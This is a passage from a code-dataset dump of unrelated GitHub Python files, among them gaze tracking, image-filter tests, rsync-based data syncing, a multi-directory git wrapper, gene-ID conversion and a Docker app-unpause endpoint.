pupil_right_coords(self):\n \"\"\"Returns the coordinates of the right pupil\"\"\"\n if self.pupils_located:\n x = self.eye_right.origin[0] + self.eye_right.pupil.x\n y = self.eye_right.origin[1] + self.eye_right.pupil.y\n return (x, y)\n\n def horizontal_ratio(self):\n \"\"\"Returns a number between 0.0 and 1.0 that indicates the\n horizontal direction of the gaze. The extreme right is 0.0,\n the center is 0.5 and the extreme left is 1.0\n \"\"\"\n if self.pupils_located:\n pupil_left = self.eye_left.pupil.x / (self.eye_left.center[0] * 2 - 10)\n pupil_right = self.eye_right.pupil.x / (self.eye_right.center[0] * 2 - 10)\n return (pupil_left + pupil_right) / 2\n\n def vertical_ratio(self):\n \"\"\"Returns a number between 0.0 and 1.0 that indicates the\n vertical direction of the gaze. The extreme top is 0.0,\n the center is 0.5 and the extreme bottom is 1.0\n \"\"\"\n if self.pupils_located:\n pupil_left = self.eye_left.pupil.y / (self.eye_left.center[1] * 2 - 10)\n pupil_right = self.eye_right.pupil.y / (self.eye_right.center[1] * 2 - 10)\n return (pupil_left + pupil_right) / 2\n\n def is_right(self):\n \"\"\"Returns true if the user is looking to the right\"\"\"\n if self.pupils_located:\n return self.horizontal_ratio() <= 0.35\n\n def is_left(self):\n \"\"\"Returns true if the user is looking to the left\"\"\"\n if self.pupils_located:\n return self.horizontal_ratio() >= 0.65\n\n def is_center(self):\n \"\"\"Returns true if the user is looking to the center\"\"\"\n if self.pupils_located:\n return self.is_right() is not True and self.is_left() is not True\n\n def is_blinking(self):\n \"\"\"Returns true if the user closes his eyes\"\"\"\n if self.pupils_located:\n blinking_ratio = (self.eye_left.blinking + self.eye_right.blinking) / 2\n return blinking_ratio > 3.8\n\n def annotated_frame(self):\n \"\"\"Returns the main frame with pupils highlighted\"\"\"\n frame = self.frame.copy()\n\n if self.pupils_located:\n color = (0, 255, 0)\n x_left, y_left = self.pupil_left_coords()\n x_right, y_right = self.pupil_right_coords()\n cv2.line(frame, (x_left - 5, y_left), (x_left + 5, y_left), color)\n cv2.line(frame, (x_left, y_left - 5), (x_left, y_left + 5), color)\n cv2.line(frame, (x_right - 5, y_right), (x_right + 5, y_right), color)\n cv2.line(frame, (x_right, y_right - 5), (x_right, y_right + 5), color)\n\n return frame\n","repo_name":"cocollzy/gaze-tracking","sub_path":"detect_faces_video.py","file_name":"detect_faces_video.py","file_ext":"py","file_size_in_byte":19846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38763348649","text":"import cv2\nimport pytest\nimport requests\n\nfrom api import apply_filters\nfrom api.filters import filter_map\n\n\ndef test_filters_are_callabe():\n assert len(filter_map) >= 1\n for filter_name, _filter in filter_map.items():\n assert isinstance(filter_name, str)\n assert callable(_filter)\n\n\ndef test_apply_filters():\n response = requests.get(\"https://picsum.photos/200/200\")\n all_filters = filter_map.keys()\n test_img = response.content\n assert isinstance(test_img, bytes)\n for _filter in all_filters:\n test_res = apply_filters(test_img, _filter)\n assert isinstance(test_res, bytes)\n\n\ndef test_apply_filters_fail():\n with pytest.raises(cv2.error):\n apply_filters(b\"asd\", [])\n","repo_name":"RaRhAeu/img-filter-api","sub_path":"tests/test_filters.py","file_name":"test_filters.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12580946373","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param two ListNodes\n # @return the intersected ListNode\n def getIntersectionNode(self, headA, headB):\n \ta_len = 0\n \tb_len = 0\n \tnode = headA\n \twhile node:\n \t\ta_len += 1\n \t\tnode = node.next\n \tnode = headB\n \twhile node:\n \t\tb_len += 1\n \t\tnode = node.next\n\n \tdiff = abs(a_len - b_len)\n \ta_node = headA\n \tb_node = headB\n \tif a_len < b_len:\n \t\tfor i in range(0, diff):\n \t\t\tb_node = b_node.next\n \telif b_len < a_len:\n \t\tfor i in range(0, diff):\n \t\t\ta_node = a_node.next\n\n \twhile a_node:\n \t\tif a_node == b_node:\n \t\t\treturn a_node\n \t\ta_node = a_node.next\n \t\tb_node = b_node.next\n\n \treturn None\n\n","repo_name":"consen/leetcode","sub_path":"solution/160_intersection_of_two_linked_lists/get_intersection_node.py","file_name":"get_intersection_node.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"4302501097","text":"from model.CMDP import CMDP\nfrom model.CPOMDP import CPOMDP\nfrom model.BeliefPoint import BeliefPoint\nfrom instances.CMDPInstance import CMDPInstance\nfrom instances.CPOMDPInstance import CPOMDPInstance\nfrom util.ToolboxServer import ToolboxServer\nfrom algorithms.mdp.constrainedmdp import ConstrainedMDPFiniteHorizon\nfrom algorithms.pomdp.cgcp import CGCP\n\nnum_states = 2\nnum_actions = 2\nnum_decisions = 10\ninitial_state = 0\n\n# create reward function\nreward_function = [[0.0 for a in range(num_actions)] for s in range(num_states)]\nreward_function[1][1] = 10.0\n\n# create transition function\ntransition_destinations = [[[] for a in range(num_actions)] for s in range(num_states)]\ntransition_probabilities = [[[] for a in range(num_actions)] for s in range(num_states)]\n\ntransition_destinations[0][0].append(0)\ntransition_probabilities[0][0].append(1.0)\n\ntransition_destinations[0][1].append(0)\ntransition_destinations[0][1].append(1)\ntransition_probabilities[0][1].append(0.1)\ntransition_probabilities[0][1].append(0.9)\n\n# define one cost function\nnum_cost_functions = 1\ncost_function = [[[0.0 for a in range(num_actions)] for s in range(num_states)] for k in range(num_cost_functions)]\ncost_function[0][1][1] = 2.0\n\n# define cost limits\nlimits = [0.5]\n\n# create CMDP\ncmdp = CMDP(num_states, num_actions, initial_state, num_decisions)\ncmdp.set_reward_function(reward_function)\ncmdp.set_transitions(transition_destinations, transition_probabilities)\ncmdp.set_cost_functions(cost_function)\n\n# create instance\ncmdps = []\ncmdps.append(cmdp)\ncmdp_instance = CMDPInstance(cmdps, num_decisions)\ncmdp_instance.set_cost_limits_budget(limits)\n\n# solve the problem\nToolboxServer.connect()\nexpected_reward = ConstrainedMDPFiniteHorizon.solve(cmdp_instance)\nprint(\"Expected reward:\", expected_reward)\n\n# extend to POMDP\nnum_observations = 2\nobservation_function = [[[0.0 for o in range(num_observations)] for s in range(num_states)] for a in range(num_actions)]\nfor a in range(num_actions):\n for s_next in range(num_states):\n o = s_next\n observation_function[a][s_next][o] = 1.0\n\nb0 = BeliefPoint([1.0, 0.0])\n\ncpomdp = CPOMDP(num_states, num_actions, num_observations, b0, num_decisions)\ncpomdp.set_reward_function(reward_function)\ncpomdp.set_transitions(transition_destinations, transition_probabilities)\ncpomdp.set_cost_functions(cost_function)\ncpomdp.set_observation_function(observation_function)\n\ncpomdps = []\ncpomdps.append(cpomdp)\ncpomdp_instance = CPOMDPInstance(cpomdps, num_decisions)\ncpomdp_instance.set_cost_limits(limits)\n\n\nexpected_reward = CGCP.solve(cpomdp_instance)\nprint(\"Expected reward:\", expected_reward)\n\nToolboxServer.disconnect()\n","repo_name":"AlgTUDelft/ConstrainedPlanningToolbox","sub_path":"python/ToyExamples.py","file_name":"ToyExamples.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"}
+{"seq_id":"27430141869","text":"#!/usr/bin/python\n\n\"\"\"This script uses paramiko to handle the SSH connection and rsync to copy files from the server.\nUser needs to specify 'path_local', 'path_remote', 'server_dress' and 'username'.\nqdotsync will promt for the password every time unless a passwordless rsa key is created.\"\"\"\n \nimport os, shutil\nimport time\nimport datetime\nimport paramiko\n \n#### setup global/environmental variables ####\n\n__SERVER__ = 'qdot-server.phas.ubc.ca' # qdot-server\n__SRVDATA__ = '/srv/measurement-data/' # data directory on qdot-server\n__EXTENSIONS__ = ['.ibw', '.pxp', '.winf'] # these are the only file types in measurement-data\n\nif os.environ.get('QDOTSYNC_CACHE'):\n __CACHE__ = os.environ.get('QDOTSYNC_CACHE')\nelse:\n raise OSError('no envitonmental variable found for cache directory')\n \nif os.environ.get('QDOTSYNC_LOCAL'):\n __LOCAL__ = os.environ.get('QDOTSYNC_LOCAL')\nelse:\n raise OSError('no envitonmental variable found for cache directory')\n\nif os.environ.get('QDOTSYNC_USER'):\n __USER__ = os.environ.get('QDOTSYNC_USER')\nelse:\n raise OSError('no envitonmental variable found for cache directory') \n\n#### local and cache sync functions ####\n \ndef sync_now(path_remote, dest='cache'):\n \"\"\" sync the specified path_remote to the local data directory \"\"\"\n \n client = open_ssh_connection() # open SSH connection\n\n # check if the path leads to a directory or file\n is_file = any(substring in path_remote for substring in __EXTENSIONS__)\n \n # setup full path to data on server\n if path_remote[0] == '/':\n path_remote = path_remote[1:]\n if not is_file:\n if not path_remote.endswith('/'):\n path_remote += '/'\n path_srv = __SRVDATA__ + path_remote \n\n # setup local path\n if dest.lower()=='cache':\n __DEST__ = __CACHE__\n else:\n __DEST__ = __LOCAL__\n machine, user_dir, *sync_path = path_remote.split('/')\n\n if is_file:\n # path_remote = '/qdot26/Nik/mgaas1_Oct2016/dat10.ibw' \n # copies dat10.ibw into __LOCAL__/mgaas1_2016/\n path_local = os.path.join(__DEST__, '/'.join(sync_path[:-1])) + '/'\n os.makedirs(path_local, exist_ok = True) # make sure it exists\n else:\n # '/qdot26/Nik/mgaas1_Oct2016/'\n # copies all files in mgaas1_Oct2016 into __LOCAL__/mgaas1_Oct2016\n path_local = os.path.join(__DEST__, '/'.join(sync_path))\n os.makedirs(path_local, exist_ok = True)\n\n do_sync(path_local,path_srv); # run rsync\n close_ssh_connection(client) # close connection\n# \n if is_file:\n return os.path.join(path_local, sync_path[-1])\n else:\n return path_local\n\ndef clear_cache():\n \"\"\" remove all files and folders from the cache directory \"\"\"\n \n # make sure this directory is setup correctly and exists\n try:\n cache_dir = os.environ.get('QDOTSYNC_CACHE')\n if not os.path.isdir(cache_dir):\n raise OSError('cache directory not found')\n except Exception as e: \n print('cannot clear cache: {0}'.format(e))\n return False\n \n for the_file in os.listdir(__CACHE__):\n file_path = os.path.join(__CACHE__, the_file)\n try:\n if os.path.isfile(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path): \n shutil.rmtree(file_path)\n except Exception as e:\n print(e)\n print('cache directory cleared')\n return True\n \n \n#### run rsync commmand ####\n\ndef do_sync(path_local, path_remote, flag = '-azp'):\n\n # build command: \"rsync [flag] source destination\"\n command = 'rsync %s %s@%s:%s %s' % (flag,__USER__,__SERVER__,path_remote,path_local)\n print(command)\n try:\n os.system(command) # execute command\n except Execption as e:\n print('rsync with qdot-server failed: {0}'.format(e))\n timestamp = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print('%s, Remote folder synced' % (timestamp))\n return None\n \n#### ssh connection ####\n\ndef open_ssh_connection():\n client = paramiko.SSHClient();\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(__SERVER__, username = __USER__);\n return client\n \ndef close_ssh_connection(client):\n client.close()","repo_name":"nikhartman/qdotsync","sub_path":"qdotsync.py","file_name":"qdotsync.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36956596572","text":"#!/usr/bin/env python3\n\nimport argparse\nimport biothings_client\nimport numpy\nimport pandas\n\n\ndef get_database_dict(database: pandas.DataFrame, gene_symbols: set) -> dict:\n try:\n database_entries = set(database['query'].to_list())\n except KeyError:\n database_entries = set()\n query_gene_symbols = gene_symbols.difference(database_entries)\n\n if len(query_gene_symbols) > 0:\n gene_client = biothings_client.get_client(\"gene\")\n gene_query_result = gene_client.querymany(query_gene_symbols, scopes='symbol', species='human',\n fields=\"entrezgene, ensembl\")\n gene_df = pandas.json_normalize(gene_query_result)\n database = pandas.concat([database, gene_df])\n database.to_csv(args.database)\n\n database = database[['query', 'entrezgene']]\n database = database.set_index('query')\n return database.to_dict()['entrezgene']\n\n\ndef convert_genesymbol_to_entrezid(gene_symbol: str, database: dict) -> str:\n try:\n return database[gene_symbol]\n except KeyError:\n return pandas.NA\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Convert a gene interaction network with gene symbols to a gene '\n 'interaction network with entrez ids.')\n parser.add_argument('--input', type=str, required=True,\n help='Input interaction network file with gene symbols.')\n parser.add_argument('--output', type=str, required=True,\n help='Output interaction network file with entrez ids.')\n parser.add_argument('--database', type=str, required=True,\n help='Database file to save already queried gene symbols.')\n args = parser.parse_args()\n\n # parse input files\n try:\n input_df = pandas.read_csv(args.input, sep='\\t', dtype=str, index_col=None)\n except IOError:\n raise IOError(\"Input file not found!\")\n\n database_df = pandas.DataFrame()\n print(\"Parsing Database...\")\n try:\n database_df = pandas.read_csv(args.database, dtype=str, index_col=0)\n except IOError:\n pass\n except pandas.errors.EmptyDataError:\n pass\n\n # Database Creation and mygene.info Query\n print(\"Querying Genes...\")\n gene_symbol_set = set(numpy.unique(input_df[['symbol1', 'symbol2']].astype('str').values))\n try:\n gene_symbol_set.remove(\"nan\")\n except KeyError:\n pass\n database_dict = get_database_dict(database_df, gene_symbol_set)\n\n # Conversion of the input file\n print(\"Converting Input File...\")\n input_df['entrezid1'] = input_df.apply(lambda x: convert_genesymbol_to_entrezid(x['symbol1'], database_dict)\n , axis=1)\n input_df['entrezid2'] = input_df.apply(lambda x: convert_genesymbol_to_entrezid(x['symbol2'], database_dict)\n , axis=1)\n input_df = input_df[['entrezid1', 'entrezid2']].dropna()\n\n input_df.to_csv(args.output, sep=\"\\t\", index=False)\n","repo_name":"felicious-fe/fc-grandforest","sub_path":"interaction_networks/convert_genesymbol_to_entrezid.py","file_name":"convert_genesymbol_to_entrezid.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"37073224276","text":"from django.shortcuts import render\nfrom .models import Schedule\n\n\ndef index_view(request):\n schedule = Schedule.objects.get(pk=1)\n context = {\n 'schedule': schedule,\n 'all_schedules': Schedule.objects.all(),\n }\n return render(request, 'schedule/contact.html', context=context)\n","repo_name":"Shustrjak/site-for-edu","sub_path":"education/schedule/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"28476767001","text":"from flask import Flask\nfrom flask_restful import Api,Resource\n\napp = Flask(__name__)\n\napi = Api(app)\n\nclass HelloWord(Resource):\n def get(self):\n return {'name':'liu'}\n\napi.add_resource(HelloWord,'/')\n\nif __name__ =='__main__':\n app.run()","repo_name":"gschen/where2go-python-test","sub_path":"1806101073刘玉江/flask/test04.py","file_name":"test04.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"17600779645","text":"#!/usr/bin/env python\n# Edit the version in ~/Documents/unix/python/pgms/DU/usrbin\n#\n# lgit.py\n#\n__author__ = \"Robert E. Hoot (rehoot@yahoo.com)\"\n__version__ = \"0.01\"\n__date__ = \"$Date: 2010/01/07 $\"\n__copyright__ = \"Copyright 2010, Robert E. Hoot\"\n__license__ = \"GNU General Public License Version 3, 29 June 2007\"\n#####################################################################\n# This file is part of the lgit system.\n# lgit is free software: you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation, either version 3\n# of the License.\n#\n# lgit is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# You should have received a copy of the GNU General Public\n# License along with lgit. If not, see\n# .\n#####################################################################\n#\n# Purpose:\n# 1) Perform version control for multiple directories in a parallel \n# fashion.\n# 2) Enforce the use of tags when committing (this script will tell \n# the user to use the lgit-commit.py command).\n# 3) Provide some basic error checking for existence of the working \n# and git directories.\n# 4) Require the user to run some commands from the root user ID \n# (unless the option is disabled).\n# 5) Allow all git commands to be applied across the set of tracked \n# working directories.\n#\n# To Do:\n# 1) create latex scripts to put the current commit info into each\n# document. \n# The current commit can be found by running something like:\n#\t tail -n 1 ~/Documents/.git/logs/HEAD|cut -f 2 -d ' '\n# and the current branch is in .git/HEAD\n#\n#\n#\nimport sys\nif (sys.version < \"3\"):\n print(\"Error. This script requires python 3.0 or higher\")\n sys.exit(-1)\n\nimport os\nimport shutil\nimport tempfile\nimport re\nfrom lgitlib import *\n\ncmdparsed = [\"\"]\n\ndef main():\n\tglobal cmdparsed\n\t# Some globals from lgitlib:\n\tglobal safecmds\n\tglobal dontneedroot\n\n\t# Initialize using lgitlib functions:\n\tload_options()\n\t#\n\t## VARIABLE ARG LIST JAN 12 2010\n\tnew_argv = []\n\tfor s in sys.argv:\n\t\tstmp = s\n\t\tspc = s.find(\" \")\n\t\teqsign = s.find(\"=\")\n\t\tif(spc >0 or eqsign >=0):\n\t\t\t# I might need to add quotes somewhere because\n\t\t\t# sys.argv would strip quotes from a command-line\n\t\t\t# option like this: -a msg=\"my commit msg\"\n\t\t\tif(spc > eqsign):\n\t\t\t\t# this looks like an equals sign as an option\n\t\t\t\t# followed by quotes with embedded spaces,\n\t\t\t\t# so I will put whater is after =\n\t\t\t\t# into quotes\n\t\t\t\tif(eqsign >= 0):\n\t\t\t\t\tstmp = s[0:eqsign + 1] + '\"' + s[eqsign + 1:] + '\"'\n\t\t\t\telse:\n\t\t\t\t\tstmp = '\"' + s + '\"'\n\t\tnew_argv.append(stmp)\n\n\tif len(sys.argv) != 2:\n\t\tusage()\n\t\treturn(-1)\n\t\t# yea, I put a return statement in the middle of the function.\n\t\t# So what!\n\telse:\t\n\t\tgcmd = sys.argv[1]\n\t\tcmdparsed = re.split(\"[ ]\", gcmd)\n\t\t#\n\t\tif(opts[\"lgit\"][\"requireroot\"]):\n\t\t\tif (os.getenv(\"USER\") != \"root\") & (cmdparsed[0].lower() \n\t\t\t\t\tnot in dontneedroot):\n\t\t\t\tprint(\"Error. Run this particular git command using \"\n\t\t\t\t\t\t\t+ \"the root user ID.\")\n\t\t\t\treturn(-1)\n\t\t#\n\t\tif cmdparsed[0].lower() == \"commit\":\n\t\t\tprint(\"Error. Use the lgit-commit.py command for commits.\")\n\t\t\treturn(-1)\n\t\t#\n\t\tif cmdparsed[0].lower() == \"setup\":\n\t\t\t# Perform a one-time setup of options.\n\t\t\tif(not bSetupRan):\n\t\t\t\t# Run setup only if the load_options command has not\n\t\t\t\t# already detected a missing config file and thereby\n\t\t\t\t# ran setup().\n\t\t\t\tyn = yn_input(\"Do you want to re-initialize options \" \n\t\t\t\t\t\t\t+ \"for the lgit system? (y/n)\")\n\t\t\t\tif(yn == \"y\"):\n\t\t\t\t\tsetup()# This is in lgitlib.py\n\t\t\t\t\tprint(\"check the options in \" + CONF_FILE_NAME)\n\t\t\t\t\t# To Do: perhaps display all options for the user \n\t\t\t\t\t# and the log file.\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Skipping setup and exiting.\")\n\t\t\treturn(0)\n\t\t#if cmdparsed[0].lower() in ([\"clone\", \"pull\", \"push\"]):\n\t\tif cmdparsed[0].lower() in ([\"clone\"]):\n\t\t\tprint(\"ARE YOU CRAZY? Do not use lgit to clone.\")\n\t\t\treturn(-1)\n\t\t# Scan the list of directories in ~/.lgitfiles to see\n\t\t# if they look OK.\n\t\tif (validate_dirs(gcmd) != 0):\n\t\t\tprint(\"Stopping execution before processing git commands.\")\n\t\t\treturn(-1)\n\t\tprocess_files(gcmd)\n\t\t#\n\t\treturn(0)\n\t\t\ndef usage():\n\tprint(\"lgit.py usage:\")\n\tprint(\"Enclose a git command in double quotes like this:\")\n\tprint(\" lgit.py \\\"tag V1.2\\\"\")\n\t#print(\"Also note that some commands must be run with the \"\n\t#\t\t+ \"root user ID (commit, gc, checkout, reset, etc.).\")\n\ndef process_files(gitcommand):\n\t\"\"\"Take a given git command and add the working and git \n\tdirectories to the command.\n\t\"\"\"\n\tglobal flist\n\tfor f in flist.keys():\n\t\t# The value of f is a text string that contains \n\t\t# the nickname of the subdirectory in the git\n\t\t# repository, such as \"texmf-dist\", and inside flist, that key\n\t\t# also points to a 2-item array that contains \n\t\t# the full working directory path and the options section\n\t\t# name (such as 'lgit').\n\t\t #\n\t\twrkdir = fixpath(flist[f][0])\n\t\tgitdir = fixpath(opts[\"lgit\"][\"git_rep_root\"] + f)\n\n\t\tprint(\"=============================================\")\n\t\tprint(\"Processing \" + wrkdir + \":\" )\n\t\t# To do: add a test for dir mode here\n\t\tprint(\"The git dir is \" + gitdir)\n\t\t# The \"cd\" command is needed to prevent unpacking files\n\t\t# into the wrong directory for commands like reset and checkout.\n\t\t####\n\t\t# TESTING TO ADD AN ADDITIONAL OPTION \n\t\t# FOR PUSH, PULL, FETCH, MERGE\n\t\t# \n\t\tpushpullrepository = \"\"\n\t\tpushpullrefspec = \"\"\n\t\tif(gitcommand.lower() == \"push\"):\n\t\t\t# The pushpull value will not be cleansed in any way\n\t\t\tpushpullrepository = pushrepositorylist[f][0]\n\t\t\tpushpullrefspec = pushrefspeclist[f][0]\n\t\tif(gitcommand.lower() == \"pull\"):\n\t\t\t# The pushpull value will not be cleansed in any way\n\t\t\tpushpullrepository = pullrepositorylist[f][0]\n\t\t\tpushpullrefspec = pullrefspeclist[f][0]\n\t\t####\n\t\tos.chdir(wrkdir) # Change directory, which is important for \n\t\t# # some git commands.\n\t\tcmd1 = \"git --no-pager --git-dir=\" \\\n\t\t\t\t+ gitdir + \" --work-tree=\" + wrkdir + \" \" + gitcommand \n\t\t\n\t\tskipdir = False\n\t\tif((pushpullrepository != \"\") or (pushpullrefspec != \"\")):\n\t\t\tcmd1 = cmd1 + \" \" + pushpullrepository + \" \" + pushpullrefspec\n\t\t\tprint(\"TEST pp \" + cmd1)\n\t\tif(gitcommand.lower() == \"pull\"):\n\t\t\tif(opts[\"lgit\"][\"promptonpushpull\"]):\n\t\t\t\tyn = input(gitcommand \\\n\t\t\t\t\t+ \" using repository: \" + pushpullrepository \\\n\t\t\t\t\t+ \" and refspec (branches): \" + pushpullrefspec \\\n\t\t\t\t\t+ \"? (y/n/q/o=override) \").lower()\n\t\t\t\tif(yn == \"n\"):\n\t\t\t\t\tprint(\"Skipping this directory.\")\n\t\t\t\t\tskipdir = True\n\t\t\t\telif(yn == \"q\"):\n\t\t\t\t\tprint(\"Quitting now.\")\n\t\t\t\t\tsys.exit(-1)\n\t\t\t\telif(yn == \"y\"):\n\t\t\t\t\tskipdir = False\n\t\t\t\telif(yn == \"o\"):\n\t\t\t\t\t\tpushpullrepository = input(\"enter the new repository: \").lower()\n\t\t\t\t\t\tpushpullrefspec = input(\"enter the new refspec (such as \" \\\n\t\t\t\t\t\t\t\t\t\t\t\t + \"master:master): \").lower()\n\t\t\t\t\t\tprint(\"You entered repository: \" + pushpullrepository \\\n\t\t\t\t\t\t\t\t + \" and a refspec of: \" + pushpullrefspec)\n\t\t\t\t\t\tyn = yn_input(\"Continue? (y/n): \")\n\t\t\t\t\t\tif(yn == \"n\"):\n\t\t\t\t\t\t\tsys.exit(-1)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"You did not enter y, n, q, or o, so I quit.\")\n\t\t\t\t\tsys.exit(-1)\n\t\t\t\t\t\t\n\t\tif(not skipdir):\n\t\t\trc = os.system(cmd1)\n\t\t\tif( rc != 0 and rc != 256):\n\t\t\t\t# This section could use some enhanced error processing.\n\t\t\t\t# Perhaps use the errno module or os.strerror().\n\t\t\t\t# The git status command returns an error when the \n\t\t\t\t# status is clean.\n\t\t\t\tprint(\"Error. git returned an error\")\n\t\t\t\tprint(\"The error code is %d\" % rc)\n\t###### END LOOP\n\t\n\t# Change the file permissions on the git directory if specified\n\t# in the options. This can reduce some file access problems when\n\t# some git commands are run under root and others are not.\n\t# --This should ideally run before any error exit.\n\tif(opts[\"lgit\"][\"unlockgitdir\"]):\n\t\tif(os.getenv(\"USER\") == \"root\"):\n\t\t\t# Post a reminder to the user about unlocking the gitdir.\n\t\t\tprint(\"Unlocking the git repository: \" + gitdir)\n\t\t\tchange_git_dir_owner(gitdir)\n\ndef validate_dirs(gcmd):\n\t\"\"\"Scan the list of work and git directories \n\tand confirm that this program has adequate access (read or \n\twrite depending on the git command). This should run before\n\tprocessing any git commands so that the user can be warned\n\tif one or more of the directories is bad (inaccessible).\n\t\"\"\"\n\tglobal flist\n\tglobal cmdparsed\n\tglobal dontneedroot\n\n\tbaddirs = []#list will hold bad directories\n\tfor f in flist.keys():\n\t\t# The value of f is the name of the subdirectory in the git\n\t\t# repository, such as \"texmf-dist\", and inside flist, that key\n\t\t# also points to the full working directory path.\n\t #\n\t\tdprint(3, \"lgit\", \"Validating git repository: \" \n\t\t\t\t+ repr(flist[f]))\n\t\twrkdir = fixpath(flist[f][0])\n\t\tgitdir = fixpath(opts[\"lgit\"][\"git_rep_root\"] + f)\n\t\tif wrkdir[0] not in ([\"/\", \":\", os.sep]):\n\t\t\tbaddirs.append([wrkdir, \"Path should be specified \" \n\t\t\t+ \"relative to root directory, starting with \" + os.sep])\n\t\t# Check for existence of work dir, and if required,\n\t\t# Check for write access.\n\t\tif os.access(wrkdir, os.F_OK):\n\t\t\t# The work directory exists. Do more tests if root is \n\t\t\t# required per the options.\n\t\t\tif(opts[\"lgit\"][\"requireroot\"]):\n\t\t\t\tif cmdparsed[0].lower() not in(dontneedroot):\n\t\t\t\t\t# This command requires the root ID and perhaps \n\t\t\t\t\t# needs write access to the working directory.\n\t\t\t\t\tif not os.access(wrkdir, os.W_OK):\n\t\t\t\t\t\tbaddirs.append([wrkdir,\n\t\t\t\t\t\t\"No write access to the work \" \n\t\t\t\t\t\t+ \"directory: \" + wrkdir + \". You might \"\n\t\t\t\t\t\t+ \"need to run this command using the root user\"\n\t\t\t\t\t\t+ \" ID (via the sudo command)\"])\n\t\telse:\n\t\t\tbaddirs.append([wrkdir,\"does not exist\"])\n\n\t\t# check for existence of git dir, and if required,\n\t\t# check for write access.\n\t\tif os.access(gitdir, os.F_OK):\n\t\t\tif(opts[\"lgit\"][\"requireroot\"]):\n\t\t\t\tif cmdparsed[0].lower() not in(dontneedroot):\n\t\t\t\t\t# This command might need to write to the git \n\t\t\t\t\t# repository, so check for write access.\n\t\t\t\t\tif not os.access(gitdir, os.W_OK):\n\t\t\t\t\t\tbaddirs.append([gitdir,\n\t\t\t\t\t\t\"No write access to the git \"\n\t\t\t\t\t\t+ \"repository: \" + gitdir + \". You might need \"\n\t\t\t\t\t\t+ \"to run this command using the root user ID \"\n\t\t\t\t\t\t+ \"(via the sudo command)\"])\n\t\telse:\n\t\t\tbaddirs.append([gitdir,\"does not exist\"])\n\tif len(baddirs) > 0:\n\t\t# Print error messages and return an error code\n\t\tfor j in range(len(baddirs)):\n\t\t\tprint(\"Error. \" + baddirs[j][0] + \" - \" + baddirs[j][1])\n\t\treturn(-1)\n\t#\n\t# The list of directories has been scanned, and no problems\n\t# were found, so return a normal code.\n\treturn(0)\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"rehoot/lgit","sub_path":"usrbin/lgit.py","file_name":"lgit.py","file_ext":"py","file_size_in_byte":10672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"15740025949","text":"import flask\nfrom methods import internal_methods\n\n\n@internal_methods.verifyServerID\n@internal_methods.verifyDockerEngine(swarm_method=False)\n@internal_methods.handleAppName\ndef soloUnpauseApp(server_id, app_name=\"\", app_id=\"\") -> flask.Response:\n \"\"\"\n Sends a command to docker to unpause the specified app\n\n parameters:\n server_id - this value is passed in the API route, for demo purposes this should always be \"demo\"\n app_name - this value is passed as an http parameter\n app_id - this value is obtained when the app_name is verified with the handleAppName decorator\n \"\"\"\n\n # verify that app is paused\n completedProcess = internal_methods.subprocessRun(f\"docker ps -a -f id={app_id} --format \\\"{{{{.State}}}}\\\"\")\n if completedProcess.stdout.decode() != \"paused\\n\":\n return flask.make_response(\"App must be paused to be unpaused\", 409)\n\n # executing docker command\n completedProcess = internal_methods.subprocessRun(f\"docker unpause {app_id}\")\n if completedProcess.returncode != 0:\n return flask.make_response(f\"Failed to stop app:\\n\"+completedProcess.stdout.decode()+\"\\n\"+completedProcess.stderr.decode(), 500)\n\n return flask.make_response(\"Success\", 200)","repo_name":"jaxsonp/docker-dash","sub_path":"server/methods/solo/soloUnpauseApp.py","file_name":"soloUnpauseApp.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"23144509256","text":"import os\nimport fcntl\nimport select\n\nBUFSIZE = 1024*16\n\nclass AdvMuxReader(object):\n \"\"\"Class multiplexes a number of file descriptors in the one\n iterable object by newline.\n\n It gets list of pairs (file, object), and returns (object, line)\n pair for each line, separated by '\\\\n'.\n\n Example:\n fds = [\n (os.popen2('echo -e 1\\\\n2')[1], 'proc1'),\n (os.popen2('echo -e 3\\\\n4')[1], 'proc2'),\n ]\n mr = AdvMuxReader(fds)\n for pair in mr:\n print \"%s: %s\" % pair\n\n Should print something like:\n proc1: 1\n proc2: 3\n proc1: 2\n proc2: 4\n Iterable returns one line from any file.\n\n WARNING!!! MuxReader closes files at exit.\n WARNING!!! MuxReader sets files to O_NONBLOCK mode.\"\"\"\n def __init__(self, filemap):\n \"Creates AdvMuxReader object.\"\n self.__poll = select.poll()\n assert filemap != iter(filemap)\n for xfile, obj in filemap:\n assert 'r' in xfile.mode\n self.__fds = {}\n self.__objs = {}\n self.__buff = {}\n 